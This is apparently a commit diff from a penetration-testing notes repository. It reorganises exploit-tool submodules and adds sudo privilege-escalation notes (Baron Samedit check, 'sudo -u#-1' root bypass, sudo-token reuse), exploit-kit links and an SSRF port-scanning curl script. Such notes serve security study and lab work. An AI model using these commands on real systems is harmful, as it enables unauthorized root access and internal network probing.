restructured Exploits

.gitmodules

@@ -13,9 +13,6 @@
 [submodule "reverse_shells/One-Lin3r"]
 	path = reverse_shells/One-Lin3r
 	url = https://github.com/D4Vinci/One-Lin3r.git
-[submodule "exploit/web/php/Chankro"]
-	path = exploit/web/php/Chankro
-	url = https://github.com/TarlogicSecurity/Chankro.git
 [submodule "enumeration/enumeration"]
 	path = enumeration/enumeration
 	url = https://github.com/digininja/CeWL.git
@@ -34,9 +31,6 @@
 [submodule "enumeration/priv_esc/deepce"]
 	path = enumeration/priv_esc/deepce
 	url = https://github.com/stealthcopter/deepce.git
-[submodule "exploit/web/content_security_policy/JSONBee"]
-	path = exploit/web/content_security_policy/JSONBee
-	url = https://github.com/zigoo0/JSONBee.git
 [submodule "post_exploitation/firefox_decrypt"]
 	path = post_exploitation/firefox_decrypt
 	url = https://github.com/unode/firefox_decrypt.git
@@ -55,63 +49,30 @@
 [submodule "reverse_shells/phpreverseshell"]
 	path = reverse_shells/phpreverseshell
 	url = https://github.com/rootkral4/phpreverseshell.git
-[submodule "exploit/web/xxe/xxeserv"]
-	path = exploit/web/xxe/xxeserv
-	url = https://github.com/staaldraad/xxeserv.git
 [submodule "reverse_engineering/SCDBG"]
 	path = reverse_engineering/SCDBG
 	url = https://github.com/dzzie/SCDBG.git
 [submodule "reverse_engineering/java/deobfuscator"]
 	path = reverse_engineering/java/deobfuscator
 	url = https://github.com/java-deobfuscator/deobfuscator.git
-[submodule "exploit/windows/CrackMapExec"]
-	path = exploit/windows/CrackMapExec
-	url = https://github.com/byt3bl33d3r/CrackMapExec.git
 [submodule "telecommunications/sipvicious"]
 	path = telecommunications/sipvicious
 	url = https://github.com/EnableSecurity/sipvicious.git
 [submodule "exploit/windows/PrintNightmare"]
 	path = exploit/windows/PrintNightmare
 	url = https://github.com/ly4k/PrintNightmare.git
-[submodule "exploit/web/php/phpggc"]
-	path = exploit/web/php/phpggc
-	url = https://github.com/ambionics/phpggc.git
 [submodule "post_exploitation/priv_esc/sucrack"]
 	path = post_exploitation/priv_esc/sucrack
 	url = https://github.com/hemp3l/sucrack.git
-[submodule "exploit/java/JNDI-Exploit-Kit"]
-	path = exploit/java/JNDI-Exploit-Kit
-	url = https://github.com/pimps/JNDI-Exploit-Kit.git
-[submodule "exploit/binaries/buffer_overflow/ropstar"]
-	path = exploit/binaries/buffer_overflow/ropstar
-	url = https://github.com/xct/ropstar.git
-[submodule "exploit/java/log4j-scan"]
-	path = exploit/java/log4j-scan
-	url = https://github.com/fullhunt/log4j-scan.git
 [submodule "exploit/windows/printspoofer"]
 	path = exploit/windows/printspoofer
 	url = https://github.com/dievus/printspoofer.git
 [submodule "post_exploitation/powershell"]
 	path = post_exploitation/powershell
 	url = https://github.com/puckiestyle/powershell.git
-[submodule "exploit/macOS/ds_store_exp"]
-	path = exploit/macOS/ds_store_exp
-	url = https://github.com/lijiejie/ds_store_exp.git
-[submodule "exploit/macOS/DS_Store_crawler_parser"]
-	path = exploit/macOS/DS_Store_crawler_parser
-	url = https://github.com/anantshri/DS_Store_crawler_parser.git
-[submodule "exploit/macOS/Python-dsstore"]
-	path = exploit/macOS/Python-dsstore
-	url = https://github.com/gehaxelt/Python-dsstore.git
 [submodule "post_exploitation/armitage"]
 	path = post_exploitation/armitage
 	url = https://gitlab.com/kalilinux/packages/armitage.git
-[submodule "exploit/linux/dirty_pipe/CVE-2022-0847-dirty-pipe-exploit"]
-	path = exploit/linux/dirty_pipe/CVE-2022-0847-dirty-pipe-exploit
-	url = https://github.com/cspshivam/CVE-2022-0847-dirty-pipe-exploit.git
-[submodule "exploit/padding/PadBuster"]
-	path = exploit/padding/PadBuster
-	url = https://github.com/AonCyberLabs/PadBuster.git
 [submodule "post_exploitation/bc_security/Empire"]
 	path = post_exploitation/bc_security/Empire
 	url = https://github.com/BC-SECURITY/Empire.git
@@ -121,33 +82,6 @@
 [submodule "misc/bruteforce/patator"]
 	path = misc/bruteforce/patator
 	url = https://github.com/lanjelot/patator.git
-[submodule "exploit/samba/smbmap"]
-	path = exploit/samba/smbmap
-	url = https://github.com/ShawnDEvans/smbmap.git
-[submodule "exploit/web/beef"]
-	path = exploit/web/beef
-	url = https://github.com/beefproject/beef.git
-[submodule "exploit/web/jwt/jwt-cracker"]
-	path = exploit/web/jwt/jwt-cracker
-	url = https://github.com/lmammino/jwt-cracker.git
-[submodule "exploit/web/jwt/jwt_tool"]
-	path = exploit/web/jwt/jwt_tool
-	url = https://github.com/ticarpi/jwt_tool.git
-[submodule "exploit/web/ssti/tplmap"]
-	path = exploit/web/ssti/tplmap
-	url = https://github.com/epinna/tplmap.git
-[submodule "exploit/windows/impacket"]
-	path = exploit/windows/impacket
-	url = https://github.com/SecureAuthCorp/impacket.git
-[submodule "exploit/windows/windows-kernel-exploits"]
-	path = exploit/windows/windows-kernel-exploits
-	url = https://github.com/SecWiki/windows-kernel-exploits.git
-[submodule "exploit/PayloadsAllTheThings"]
-	path = exploit/PayloadsAllTheThings
-	url = https://github.com/swisskyrepo/PayloadsAllTheThings.git
-[submodule "exploit/GitTools"]
-	path = exploit/GitTools
-	url = https://github.com/internetwache/GitTools
 [submodule "misc/level3_hypervisor/docker_sec/dive"]
 	path = misc/level3_hypervisor/docker_sec/dive
 	url = https://github.com/wagoodman/dive.git
@@ -169,9 +103,3 @@
 [submodule "reverse_shells/windows/evil-winrm"]
 	path = reverse_shells/windows/evil-winrm
 	url = https://github.com/Hackplayers/evil-winrm.git
-[submodule "exploit/level3_hypervisor/docker_sec/dive"]
-	path = exploit/level3_hypervisor/docker_sec/dive
-	url = https://github.com/wagoodman/dive.git
-[submodule "exploit/level3_hypervisor/kubeletctl"]
-	path = exploit/level3_hypervisor/kubeletctl
-	url = https://github.com/cyberark/kubeletctl.git

Exploits/Databases/SQLmap.md

@@ -20,6 +20,7 @@ sqlmap -u http://<target-IP>/site.php --forms --dump-all
 
 
 |Parameter|Details|
+|---------|-------|
 |-r|Uses the intercepted request save as a file|
 |--dbms|DBMS of target|
 |--dump|Dump the entire database|

Exploits/Linux/sudo.md

@@ -0,0 +1,58 @@
+# CVE-2021-3156 Baron Samedit
+
+* [Animesh Jain's blog post on Qualys](https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit)
+* [blasty's PoC](https://github.com/blasty/CVE-2021-3156.git)
+* Heap based overflow
+* Versions 1.8.2-1.8.31p2, 1.9.0-1.9.5p1
+* Check vulnerability via
+```sh
+sudoedit -s '\' $(python -c "print('\x41' * 10000)")
+```
+* Defaults to try
+```sh
+./brute.sh 90 120 50 70 150 300
+```
+
+## CVE-2019-14287
+
+* Versions < 1.8.28
+
+### Usage 
+
+* Integer overflow with resulting root status.
+```sh
+sudo -u#-1 <app>
+```
+## CVE-18634 
+
+* Sudo pwnge with pwfeedback()
+* Sudo version 1.7.1 to 1.8.30
+* [Saleem's github](https://github.com/saleemrashid/sudo-cve-2019-18634)
+
+
+## Reusing Sudo Token
+
+* Reuse sudo token of currently logged in user
+* [Hacktricks' site](https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens)
+
+* `ptrace` has to be fully enabled
+```sh
+cat /proc/sys/kernel/yama/ptrace_scope
+0
+```
+* sudo has to be triggered the last 15 minutes, check `ps wuax`
+* `gdb` has to be installed
+* One must be logged in as the same user which should be owned
+* Use [nongiach's exploit](https://github.com/nongiach/sudo_inject)
+
+## Heap Based Overflow
+
+* [CVE-2022-43995](https://bugzilla.redhat.com/show_bug.cgi?id=2139911)
+
+Marco Benatto: 
+> Sudo 1.8.0 through 1.9.12, with the crypt() password backend, contains  
+a plugins/sudoers/auth/passwd.c array-out-of-bounds error that can result  
+in a heap-based buffer over-read. This can be triggered by arbitrary local  
+users with access to Sudo by entering a password of seven characters or 
+ fewer. The impact could vary depending on the compiler and processor architecture.
+

Exploits/Printers/preta.md

@@ -0,0 +1,4 @@
+# Printer Hacking
+
+* [Preta](https://github.com/RUB-NDS/PRET)
+* [Cheat Sheet](http://hacking-printers.net/wiki/index.php/Printer_Security_Testing_Cheat_Sheet)

Exploits/References.md

@@ -0,0 +1,38 @@
+# Exploit References
+
+[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings.git)
+
+## Recover git Repositories
+[Internetwache's gitTools](https://github.com/internetwache/GitTools.git)
+
+## Web
+
+[Padbuster - padding Oracle Attacks](https://github.com/AonCyberLabs/PadBuster.git)
+
+## Printer Exploitation
+[RUB-NDS Printer Exploitation Framework](https://github.com/RUB-NDS/PRET.git)
+
+## Python
+
+[pwntools doc](https://docs.pwntools.com/en/stable/)
+[pwntools installation](https://docs.pwntools.com/en/stable/install.html)
+
+## Java
+
+[fullhunt's log4j-scan](https://github.com/fullhunt/log4j-scan.git)
+[pimps' JNID-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit.git)
+
+## Linux
+
+[DirtyPipe](https://github.com/cspshivam/CVE-2022-0847-dirty-pipe-exploit.git)
+
+## macOS
+
+[DS Store Crawler Parser](https://github.com/anantshri/DS_Store_crawler_parser.git)
+[DS Store Exp](https://github.com/lijiejie/ds_store_exp.git)
+[DS Store Exp Python3](https://github.com/qiuluo-oss/ds_store_exp_py3.git)
+
+## Windows
+
+[PowerSploit](https://github.com/PowerShellMafia/PowerSploit.git)
+[nishang](https://github.com/samratashok/nishang.git)

Exploits/Web/Scripts/curl_ssrf.sh

@@ -1,6 +1,6 @@
 #!/usr/bin/env bash
 for x in {1..65535};
-    do cmd=$(curl -so /dev/null http://10.10.214.67:8000/attack?url=http://2130706433:${x} \
+    do cmd=$(curl -so /dev/null http://$TARGET_IP:$TARGET_PORT/attack?url=http://2130706433:${x} \
         -w '%{size_download}');
     if [ $cmd != 1045 ]; then
         echo "Open port: $x"